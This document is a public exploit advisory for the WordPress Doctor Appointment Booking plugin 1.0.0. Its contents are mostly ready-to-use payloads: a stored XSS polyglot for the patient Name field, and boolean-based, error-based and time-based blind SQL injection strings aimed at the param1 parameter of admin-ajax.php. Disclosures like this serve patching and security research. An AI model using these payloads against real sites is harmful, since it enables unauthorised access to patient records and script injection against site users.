WordPress Doctor Appointment Booking 1.0.0 SQL Injection / XSS

`# Exploit Title: Wordpress Doctor Appointment Booking Plugin v1.0.0 - SQL Injection / XSS  
# Date: 2018-01-01  
# Exploit Author: 8bitsec  
# Vendor Homepage: https://codecanyon.net/  
# Software Link: https://codecanyon.net/item/doctor-appointment-booking-wordpress-plugin/21215314  
# Version: 1.0.0  
# Tested on: [Kali Linux 2.0 | Mac OS 10.13.3]  
# Email: [email protected]  
# Contact: https://twitter.com/_8bitsec  
  
Release Date:  
=============  
2018-01-01  
  
Product & Service Introduction:  
===============================  
Doctor Appointment Booking Plugin  
  
Technical Details & Description:  
================================  
  
Authenticated Stored XSS vulnerability found.  
  
Proof of Concept (PoC):  
=======================  
  
Authenticated Stored XSS:  
  
Patients > Edit Patient. Write the payload on the 'Name' input field:  
john doejaVasCript:/*-/*`/*\\`/*\'/*\"/**/(/* */oNcliCk=alert() )  
The payload will execute when the field is clicked.  
  
SQL Injection:  
  
On [param1] parameter.  
  
https://localhost/[path]/wp-admin/admin-ajax.php  
POST: action=ctmdc&page=modal-patient-profile&task=load_modal_page&param1=11  
  
Parameter: param1 (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: action=ctmdc&page=modal-patient-profile&task=load_modal_page&param1=11 AND 6200=6200  
  
Type: error-based  
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)  
Payload: action=ctmdc&page=modal-patient-profile&task=load_modal_page&param1=11 AND (SELECT 9175 FROM(SELECT COUNT(*),CONCAT(0x716b6b7871,(SELECT (ELT(9175=9175,1))),0x716a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: action=ctmdc&page=modal-patient-profile&task=load_modal_page&param1=11 AND SLEEP(5)  
  
==================  
8bitsec - [https://twitter.com/_8bitsec]  
`